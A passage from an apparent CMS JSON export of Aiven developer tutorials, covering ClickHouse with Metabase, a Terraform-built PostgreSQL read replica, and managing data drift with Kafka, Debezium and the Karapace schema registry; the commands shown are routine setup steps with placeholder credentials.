Terraform](https://aiven.io/developer/apache-kafka-to-opensearch-terraform)\n\n\n\n\n\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-26T16:21:24.668Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-02-20T13:10:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Text saying \"A guide to Apache Kafka® tiered storage with Aiven and Terraform\" and the Aiven logo","asset":{"_ref":"image-cbd0ed8183650a57bb10a0645de29654881b9dac-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-tiered-storage-terraform"},"subtitle":"A guide to what tiered storage is, and how you can start using it with Aiven for Apache Kafka® and Terraform. We’ll set up a cluster, load the data and observe the metrics.\n","tags":[{"_key":"e4f74a7c65ce","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"a062e0c48d6c","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"f37f4e99653c","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"b28192b28aa3","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"f403f58c16d9","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"}],"title":"A guide to Apache Kafka® tiered storage with Aiven and Terraform"} {"__i18n_lang":"en","_createdAt":"2023-03-29T10:42:50Z","_id":"5d3a6ca5-14e6-4017-b986-a6878dd09bcd","_rev":"neae7oL4y1FotDvvRLsAOX","_type":"devArticle","_updatedAt":"2024-07-11T13:52:08Z","body":"Data analysis is a critical component of modern business operations. As organizations generate more and more data, it becomes increasingly difficult to extract meaningful insights from the raw information. That's where Business Intelligence (BI) tools can help us. BI tools allow organisations to transform their data into visual, actionable insights that support informed decision-making.\n\nIn this tutorial, you'll learn how you can integrate a ClickHouse® database with the open source BI tool [Metabase](https://www.metabase.com/start/oss/) to visualise the data stored in your database. After completing this tutorial you'll have a dashboard in Metabase with insights from the data you have in ClickHouse.\n\nAfter all, a picture is worth a thousand words.\n\n## Preparing ClickHouse cluster and data\n\nWe'll start on the ClickHouse side. In this section we'll set up the cluster and load the data that we can use for analysis.\n\n### Setting up Aiven for ClickHouse\n\nWe recommend you use [Aiven for ClickHouse](https://aiven.io/clickhouse) when following this tutorial. If you still don't have an Aiven account, [register over here](https://console.aiven.io/signup). You'll get free credits that you can use for this tutorial.\n\nOnce you're logged into the Aiven platform, click on **Create service** and follow the wizard to set up the preferences.\n\n\nWe also have [documentation](https://aiven.io/docs/products/clickhouse/get-started) for detailed instructions.\n\n### Loading data\n\nIf you already have data in your ClickHouse database for analysis, feel free to skip this step and visualise your data.\n\nAlternatively, you can use [a dataset from New York Public Library \"What's on the Menu?\"](http://menus.nypl.org/data) as an example. This dataset is easy to setup and it has ample opportunities for exploration. The official documentation of ClickHouse offers [a convenient set of instructions](https://clickhouse.com/docs/en/getting-started/example-datasets/menus/) to create the tables and load the data.\n\nWe'll be utilizing the data from the \"What's on the Menu?\" dataset in the examples below. However, the same techniques are applicable to your data.\n\n![Animated GIF showing creation of a service](https://cdn.sanity.io/images/sczeoy4w/production/b7597259c0cd19f2e6ce979b0e37c50e6d909b75-1080x608.gif)\n\n## Setting up the OSS version of Metabase\n\nDepending on your operating system and preferences, you can choose between two approaches when [setting up the open source edition of Metabase](https://www.metabase.com/start/oss/): using a Docker image or running Metabase as a JAR.\n\nIn this tutorial we'll be using [Docker](https://www.docker.com/). However, similar results can be achieved using the `.jar` file.\n\nIf you don't have a license token for a paid version of Metabase and you don't need a production installation, these steps [for the quick start](https://www.metabase.com/docs/latest/installation-and-operation/running-metabase-on-docker#open-source-quick-start) plus a minor adjustment [to include a ClickHouse driver](https://www.metabase.com/docs/latest/installation-and-operation/running-metabase-on-docker#adding-external-dependencies-or-plugins) is what you need.\n\nWhen starting your Docker container, make sure that you have access to the mounted folder located in `/path-to-plugins-folder`. We'll need this folder for the next step.\n\n```bash\ndocker run -d -p 3000:3000 \\\n --mount type=bind,source=/path-to-plugins-folder,destination=/plugins \\\n --name metabase metabase/metabase\n```\n\nHere is a preview of how that should work:\n\n![Animated GIF showing pulling latest docker image and running it](https://cdn.sanity.io/images/sczeoy4w/production/f2a84a7f86cb3839c7405d72f2102f2c607bb552-1080x608.gif)\n\n### Adding drivers\n\nMetabase comes with a predefined set of supported databases. ClickHouse is not in [the list of officially supported drivers](https://www.metabase.com/docs/latest/databases/connecting#connecting-to-supported-databases), but we can include it [as a third-party community driver](https://www.metabase.com/docs/latest/developers-guide/partner-and-community-drivers#community-drivers).\n\nYou can find the ClickHouse driver (and extra documentation, in case you need it) in the ClickHouse driver for Metabase [GitHub repository](https://github.com/ClickHouse/metabase-clickhouse-driver).\n\nLoad the driver by going [to the latest release](https://github.com/ClickHouse/metabase-clickhouse-driver/releases) and selecting `clickhouse.metabase-driver.jar` from the list of assets.\n\n![Animated GIF showing loading the driver for ClickHouse Metabase from the GitHub page](https://cdn.sanity.io/images/sczeoy4w/production/46fc9c2abc2dcbd50d09f03cf59f368f788a8567-1080x608.gif)\n\nAdd this file to the folder that you mounted in the previous step. This will allow Metabase to access the ClickHouse driver and therefore work with ClickHouse data.\n\n## Starting Metabase\n\nTime to start Metabase! If you used the default ports when running the container, go to `http://localhost:3000`, if you used a different port, adjust it accordingly.\n\nThe first time you open Metabase, it will ask you several questions. Remember the email and password you enter, they are needed for logins. Skip adding data, we'll do it separately in the next step\n\n![Animated GIF showing the setup form of Metabase](https://cdn.sanity.io/images/sczeoy4w/production/016d40990f85dad75b71189cbb81b5860ad33643-1080x608.gif)\n\n\n## Connecting to ClickHouse\n\nIn order to connect to the ClickHouse server you need to add a database to Metabase and provide all necessary credentials for access. To add a database, click on **Add your own data**, this will navigate you to the *Add Database* form.\n\nIf all went well installing a driver, you'll see **ClickHouse** in the list of available databases types. If you don't see ClickHouse there, try restarting the container.\n\nThe connection between Metabase and ClickHouse happens over HTTPS. You can take all the necessary properties (such as host, port and user credentials) from your *Aiven for ClickHouse* page in the section **ClickHouse HTTPS \u0026 JDBC**.\n\n![Animated GIF showing adding a database to Metabase](https://cdn.sanity.io/images/sczeoy4w/production/997b092e0f38250f777c96bf21fb8d678cbb9fb5-1080x608.gif)\n\n\n## Visualising the data\n\nNow we can run analysis and visualise the data. There are two ways you can create requests to the ClickHouse database. One is using SQL and another is by relying on a visual editor. Below we try out both of these approaches.\n\n### Querying data with SQL\n\nTo start with something simple, check for most popular currencies used across the menus in the dataset we have.\n\nClick on the **New** button and select **SQL Query** from the list. Next, choose the database for your query (`AivenForClickHouse` in our case) and you'll land onto the SQL query editor. You can use the same syntax here as running your usual ClickHouse queries.\n\n```sql\nSELECT menu_currency, count() FROM menu_item_denorm\nGROUP BY menu_currency\n```\n\nThe results will appear below the query editor. To visualise the findings, click on the button **Visualisation**. This will show you a set of possible options that fit your data. For this specific example, for example, you can use a pie chart.\n\nOnce you're happy with the visualisation, save it. Metabase will also suggest adding the visualisation to a dashboard. If you don't want to do that yet, you can add it later.\n\n![Animated GIF showing creation of a new visualisation based on SQL query](https://cdn.sanity.io/images/sczeoy4w/production/00d9cf09eed5e6cd931e36027f85e38eadda352e-1080x608.gif)\n\n\n### Using the visual editor\n\nAlternatively, you can create a query using the Metabase visual editor. For instance, out of curiosity we'll look at dishes that were popular before 1920, but then disappeared from the menu.\n\nPress on the **New** button and select **Question** from the available options.\n\nMetabase will ask you to pick the database and the table to run requests. Select **AivenForClickHouse** (or the name you gave to your database) and `Menu Item Denorm`. Once data is selected you'll use the wizard with multiple options to shape the request.\n\nTo find old menus in the *Filter* section press on **Add filters to narrow your answer** and select the field **Dish Last Appeared**. Use the `between` function and set the year values to **1700** and **1920** (or even better - experiment and select your own values!). This will find only those dishes that disappeared before 1920.\n\nNext, we'll use the *Summarize* section to get the most popular dishes among those that vanished. Pick the metric \"Maximum of\" and use the property **Dish Times Appeared**. Next to it pick **Dish Name** to group by.\n\nFinally, sort data by **Max of Dish Times Appeared** in descending order and click **Visualise**. You will now see the list of disappeared popular dishes.\n\n![Animated GIF showing creation of a query with the visual editor](https://cdn.sanity.io/images/sczeoy4w/production/e0111dad0b9401814b62ba53bd3b8a09e074f0ca-1080x608.gif)\n\n## Conclusions\n\nIn this tutorial we described how to use ClickHouse together with an open source BI tool, Metabase. We used open source edition of Metabase and a community-developer driver for ClickHouse.\n\nYou can find more information about Aiven for ClickHouse in [our documentation](https://docs.aiven.io/).\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-05T10:42:45.810Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-04-03T14:04:06.477Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c05115c3bd33316a3b4301b9fe0c381305b5d5f5-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/clickhouse-metabase"},"subtitle":"Learn how to get ClickHouse® data into the Metabase Business Intelligence tool, as a pathway to getting visualisation and insights into your data.","tags":[{"_key":"0de9c64fa1e2","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"26a80c5c4e34","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"9e68d71a3af0","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Integrate ClickHouse® with Metabase, an open source BI tool"} {"__i18n_lang":"en","_createdAt":"2023-08-22T09:40:43Z","_id":"ea1a51d6-8e51-4fb6-ad67-974d76bbc0ed","_rev":"VeNKqGNmt13PzvGhqsSzdC","_type":"devArticle","_updatedAt":"2024-01-29T15:49:02Z","body":"A PostgreSQL® read-only replica can be used to offload read requests like the analytics traffic from the primary instance. In this example, you'll create two [Aiven for PostgreSQL®](https://aiven.io/postgresql) services - a primary service and the other one as its read-only replica. \nBoth services will be provisioned programmatically using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). The same process can be followed for setting up MySQL read-only replica as well. \n\nThe following diagram shows the typical client interaction when a read-only replica is in place.\n\n\n:::mermaid\n flowchart LR\n id6[Client];\n \n id5\u003eWAL record]\n\n subgraph Aiven for PostgreSQL\n id1[(Primary)]\n id2[[WAL sender]]\n id1 --\u003e id2\n end\n \n subgraph Aiven for PostgreSQL\n id4[(Read-Replica)]\n id3[[WAL receiver]]\n id3 --\u003e id4\n end\n\n id2 --\u003e id5 --\u003e id3\n\n id6--\u003e|Data Modification|id1\n id6--\u003e|Data Read|id4\n:::\n\nThe following sample Terraform script stands up the primary PostgreSQL service and a read-only replica for that service using service integration. \n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_pg\" \"demo-postgresql-primary\" {\n project = var.project_name\n service_name = \"demo-postgresql-primary\"\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"startup-4\"\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n termination_protection = false\n}\n\nresource \"aiven_pg\" \"demo-postgresql-read-replica\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n service_name = \"demo-postgresql-read-replica\"\n plan = \"startup-4\"\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n termination_protection = false\n\n service_integrations {\n integration_type = \"read_replica\"\n source_service_name = aiven_pg.demo-postgresql-primary.service_name\n }\n\n pg_user_config {\n service_to_fork_from = aiven_pg.demo-postgresql-primary.service_name\n\n pg {\n idle_in_transaction_session_timeout = 900\n }\n pgbouncer {\n server_reset_query_always = false\n }\n pglookout {\n max_failover_replication_time_lag = 60\n }\n }\n\n depends_on = [\n aiven_pg.demo-postgresql-primary,\n ]\n}\n```\n\n## Execute the files\n \nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```bash\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nWhen you run ``terraform apply`` command, ``demo-postgresql-primary`` gets created first since ``demo-postgresql-read-replica`` service depends on it. \nTerraform knows it from the ``depends_on`` block. Here are some configurations that are used in this setup:\n\n- ``service_to_fork_from``: This is the source Aiven for PostgreSQL service.\n- ``idle_in_transaction_session_timeout``: Kills an idle session after specified number of seconds.\n- ``server_reset_query_always``: This PgBouncer configuration, when set to ``false``, causes the ``server_reset_query`` to not take effect for transaction pooling.\n According to the PostgreSQL documentation, when transaction pooling is used, the ``server_reset_query`` should be empty, as clients should not use any session features.\n- ``max_failover_replication_time_lag``: In case of a failover, this is the replication time lag after which ``failover_command`` will be executed and a ``failover_has_happened`` file will be created.\n\n## More resources\n\nTo learn how to get started with Aiven Terraform Provider and specific PostgreSQL configurations for you use case, check out the following resources:\n\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Create and use read-only replicas](https://aiven.io/docs/products/postgresql/howto/create-read-replica)\n- [Add caching to your PostgreSQL® app using Redis®*](https://aiven.io/developer/add-caching-to-pg-with-redis)\n- [Setting up Django to use Aiven for PostgreSQL®](https://aiven.io/developer/django-and-aiven-for-pg)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:40:31.313Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"4b59232175f4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f1c09b623a13d262e7871b6c6be641c720d62bf5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-read-only-terraform"},"subtitle":"Create a read-only replica of a PostgreSQL® service and deploy it to Aiven for PostgreSQL® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"3bd7ea2a68a6","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"aeaf593c3313","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"PostgreSQL® read-only replica using Terraform"} {"__i18n_lang":"en","_createdAt":"2024-01-02T10:54:05Z","_id":"8a25bbfc-03ef-4f64-a4bb-2dfd947ffa7d","_rev":"9KXJIj517MDuzut1TWtyNP","_type":"devArticle","_updatedAt":"2024-10-25T14:10:21Z","body":"Data flows across many technologies, teams, and people in today's businesses. Businesses are always growing and changing, so the way we collect and share data changes all the time too. We need to know not only who owns certain data but also what to do if that data changes. This problem is often referred to as \"data drift.\"\n\nConsider the scenario where a piece of data is modified at its source — what implications does this have for other systems reliant on it? How do we communicate necessary changes to stakeholders? Conversely, how do we prevent changes that could disrupt the system?\n\nHaving a robust plan for managing data drift is imperative. Businesses require data systems that function seamlessly and remain consistent, even amidst changes at the data source. Additionally, mechanisms are needed to assess and decide on changes, ensuring smooth operations for everyone involved with the data.\n\nThis tutorial will show you how tools like Apache Kafka®, Apache Kafka Connect, and the built in schema registry functionality provided by [Karapace](https://www.karapace.io/), can help businesses keep an eye on data drift. It will also explain how to either deny or allow changes based on what a business needs.\n\n\n## Why Apache Kafka and why a schema registry?\n\nApache Kafka is widely adopted as a backend data hub, empowering companies to move their data supported by a reliable, fast and scalable technology. Apache Kafka provides the benefit of decoupling data producers and consumers, by allowing the producers to reliably send the data without having to worry about consumers being ready to read, or being fast enough to keep up with throughput. \n\nBy default, Apache Kafka doesn't impose or verify the structure of data. Messages are pushed and retrieved in any format agreed upon by the producer and the consumer. However, in complex systems, where the same information needs to be reused across multiple consumers from different parts of the company, a simple external agreement is often insufficient. Apache Kafka must not only ensure that consumers can retrieve the data but also make sense of it, even if the structure of the messages changes slightly over time.\n\nThis is where the schema registry functionality enabled by Karapace comes into play: a way to decouple the structure of the message from its content and a method to verify that updates in the data structure won't break downstream consumers of the information. With Karapace, we can define the structure of each topic, along with the compatibility level that determines which data structure changes are allowed or rejected.\n\nIn the following sections, we will explore how the schema registry can be used in conjunction with Apache Kafka® Connect, both as a source and a sink, to check data structure changes and propagate them if they meet compatibility requirements.. \n\n## The overall architecture\n\nTo simulate a typical company data flow, we will employ PostgreSQL® as our source, serving as our transactional database. Extracting data from it will involve using Apache Kafka, Apache Kafka Connect, and the Debezium source connector, enabling a real-time change data capture process. Once the data resides in Apache Kafka, we will leverage the integrated integration with Karapace to store the data schema and assess changes for compatibility. Finally, the results of our data changes will manifest in a MySQL database and an Amazon S3 bucket, mirroring two use cases: departmental analytics and long-term data storage.\n\n![Overall architecture including PostgreSQL as Source, CDC with Debezium, Apache Kafka and two sinks to S3 and MySQL](https://cdn.sanity.io/images/sczeoy4w/production/4f60cb2c9d735dee58b2f1a46ad4dae8063850a3-6116x1690.png)\n\nWe'll use [Aiven for Apache Kafka®](https://aiven.io/kafka), [Aiven for PostgreSQL®](https://aiven.io/postgresql), [Aiven for MySQL](https://aiven.io/mysql) and a Debezium Kafka Connector to demonstrate this. [Sign up for an Aiven account](https://console.aiven.io/signup) to follow along. \n\nWe can create the whole flow using Aiven's [command line interface](https://aiven.io/docs/tools/cli). You'll also need to install `psql`. Run the following commands:\n\n\n```bash\navn service create demo-drift-postgresql \\\n -t pg --cloud aws-eu-west-1 -p free-1-5gb\n```\n```bash\navn service create demo-drift-mysqldb \\\n -t mysql --cloud aws-eu-west-1 -p free-1-5gb\n```\n```bash\navn service create demo-drift-kafka \\\n -t kafka \\\n --cloud aws-eu-west-1 \\\n -p business-4 \\\n -c kafka.auto_create_topics_enable=true \\\n -c kafka_connect=true \\\n -c kafka_rest=true \\\n -c schema_registry=true\n```\n\nThe above three commands will start:\n* An Aiven for PostgreSQL database named `demo-drift-postgresql` in the `aws-eu-west-1` cloud region using Aiven's free tier\n* An Aiven for MySQL database named `demo-drift-mysql` in the `aws-eu-west-1` cloud region using Aiven's free tier\n* An Aiven for Apache Kafka® service named `demo-drift-kafka` in the `aws-eu-west-1` cloud region using Aiven's `business-4` plan and enabling:\n * The automatic creation of topics\n * Apache Kafka Connect, running on the same nodes as Apache Kafka\n * Kafka REST APIs\n * Kafka Schema Registry functionality powered by Karapace \n\nWe can wait for the above services to be created with:\n\n```bash\navn service wait demo-drift-postgresql\navn service wait demo-drift-kafka\navn service wait demo-drift-mysqldb\n```\n## Create the source dataset in PostgreSQL\n\nThe first step of the data journey will be in the PostgreSQL database, acting as a company transactional backend. In this section we'll connect to the database and include some data. To connect, we can use the prebuilt Aiven CLI command (that requires `psql` to be installed locally):\n\n```bash\navn service cli demo-drift-postgresql\n```\n\nAfter connecting, we can create a basic `USERS` table and include some data:\n\n```sql\nCREATE TABLE USERS (ID SERIAL PRIMARY KEY, USERNAME VARCHAR, HERO BOOLEAN);\n\nINSERT INTO USERS (USERNAME, HERO)\n VALUES ('Spiderman', TRUE), ('Flash', TRUE), ('Joker', FALSE), ('Batman', TRUE);\n```\n\n## Change Data Capture from PostgreSQL to Apache Kafka\n\n![Change Data Capture with PostgreSQL, Debezium Source Connector, Apache Kafka and Schema Registry](https://cdn.sanity.io/images/sczeoy4w/production/9ef9a405361b4679b006293ce83b7a5bff06ae0f-3518x1400.png)\n\nAfter mimicking the OLTP (Online Transaction Processing) system, we can now create the change data capture pipeline allowing us to track the `USERS` table in Apache Kafka. We'll set up the CDC flow using a [Debezium connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) and the following configuration file, which we'll name `cdc-deb.json`. Be sure to replace values like `\u003cDATABASE_HOST\u003e` in the below example.\n\n\n\n```json\n{ \n \"name\": \"pg-source-users\",\n \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n \"database.server.name\": \"sourcepg\",\n \"database.hostname\": \"\u003cDATABASE_HOST\u003e\",\n \"database.port\": \"\u003cDATABASE_PORT\u003e\",\n \"database.user\": \"avnadmin\",\n \"database.password\": \"\u003cPOSTGRESQL_PASSWORD\u003e\",\n \"database.dbname\": \"defaultdb\",\n \"plugin.name\": \"pgoutput\",\n \"slot.name\": \"myslot1\",\n \"publication.name\": \"mypub1\",\n \"publication.autocreate.mode\": \"filtered\",\n \"database.sslmode\": \"require\",\n \"table.include.list\": \"public.users\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGSITRY_PASSWORD\u003e\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\"\n}\n```\n\nIn the above connector we are defining:\n* The Debezium PostgreSQL connector in the `connector.class` parameter\n* The PostgreSQL connection settings in the set of `database.*` parameters, We can get the list of needed parameters with the following call:\n\n ```bash\n avn service get demo-drift-postgresql --format '{service_uri_params}'\n ```\n\n* The PostgreSQL replication plugin name, slot name, publication name and mode. We can either create the slot and publication in PostgreSQL beforehand or have the connector create them for us.\n\n* The list of tables to include in the replication (`public.users`)\n* The usage of Avro and Apache Kafka schema registry functionality for both message keys and values. We can fetch the needed connection parameters (`\u003cKAFKA_HOST\u003e`, `\u003cSCHEMA_REGISTRY_PORT\u003e`, `\u003cSCHEMA_REGISTRY_PASSWORD\u003e`)\n\n ```bash\n avn service get demo-drift-kafka --json | jq -r '.connection_info.schema_registry_uri'\n ```\n\n The above command will report the Kafka schema registry URI in the form:\n\n ```html\n https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\n ```\n\nOnce we've replaced the placeholder values in the file, we can create the connector with the following call where `cdc-deb.json` is the file containing the connector settings:\n\n```bash\navn service connector create demo-drift-kafka @cdc-deb.json\n```\n\n## Check the data in Kafka\n\nOnce the connector is working, we can use [kcat](https://aiven.io/docs/products/kafka/howto/kcat) to check the data in Apache Kafka.\n\nTo get the `kcat` command for connecting to our Kafka service and also download the necessary SSL certificates, run:\n\n```bash\navn service connection-info kcat demo-drift-kafka -W\n```\n\nNext, we can get the `avnadmin` password with:\n\n```bash\navn service user-list --format '{password}' --project devrel-francesco demo-drift-kafka\n```\n\nFinally, we can take that `kcat` command and use it to check the data.\nWe need to add some parameters to explain what we want to read:\n* `-C` to tell it to act as a Consumer,\n* `-t sourcepg.public.users` to tell it which topic to read from,\n* `-s avro` to tell it to use Avro, and\n* `-r https://avnadmin:\u003cSCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e` to tell it where the schema registry is\n\nPutting all of that together, the command you run should look like this:\n```bash\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e \\\n -X security.protocol=SSL \\\n -X ssl.ca.location=ca.pem \\\n -X ssl.key.location=service.key \\\n -X ssl.certificate.location=service.cert \\\n -s avro \\\n -r https://avnadmin:\u003cSCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e \\\n -C -t sourcepg.public.users\n```\n\nWe should see the same four rows we inserted previously appearing in the standard Debezium format:\n\n```json\n{\"id\": 1}{\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"username\": {\"string\": \"Spiderman\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248487}, \"transaction\": null}\n{\"id\": 2}{\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"username\": {\"string\": \"Flash\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248493}, \"transaction\": null}\n{\"id\": 3}{\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"username\": {\"string\": \"Joker\"}, \"hero\": {\"boolean\": false}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248494}, \"transaction\": null}\n{\"id\": 4}{\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Batman\"}, \"hero\": {\"boolean\": true}}}, \"source\": {\"version\": \"1.9.7.aiven\", \"connector\": \"postgresql\", \"name\": \"sourcepg\", \"ts_ms\": 1692017248192, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"235090528\\\"]\"}, \"schema\": \"public\", \"table\": \"users\", \"txId\": {\"long\": 1036}, \"lsn\": {\"long\": 235090528}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1692017248494}, \"transaction\": null}\n```\n\n## Check the data definition in Karapace\n\nHaving created the connector using Avro and the Karapace schema registry, we can examine the schema definition for the topic. By default, when utilizing Kafka Connect with a schema registry, two schemas are generated with names \u003cTOPIC_NAME\u003e-value and \u003cTOPIC_NAME\u003e-key to store the schema definition for the value and key, respectively.\n\nWe can get the list of schemas defined in Karapace with:\n\n```bash\ncurl https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects\n```\n\nWhich returns output similar to:\n\n```json\n[\"sourcepg.public.users-key\",\"sourcepg.public.users-value\"]\n```\n\nThe above is the names of the two schemas for the Debezium topic. Each name is the concatenation of the `database.server.name` parameter (`sourcepg`), the schema and table name (`public.users`) and either the `key` or `value` suffix.\n\nWe can check which versions we have for the `sourcepg.public.users-key` topic with:\n\n```bash\ncurl -X GET https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects/sourcepg.public.users-key/versions\n```\n\nThe output should show version `1` being available.\n\nTo check the definition of the schema `sourcepg.public.users-key` version `1` we can use the following command:\n\n```bash\ncurl -X GET https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e/subjects/sourcepg.public.users-key/versions/1\n```\n\nThe output shows all the fields included in the key, including the `id` and `name` we defined in the original PostgreSQL table.\n\n```\n{\n \"id\": 1,\n \"schema\": 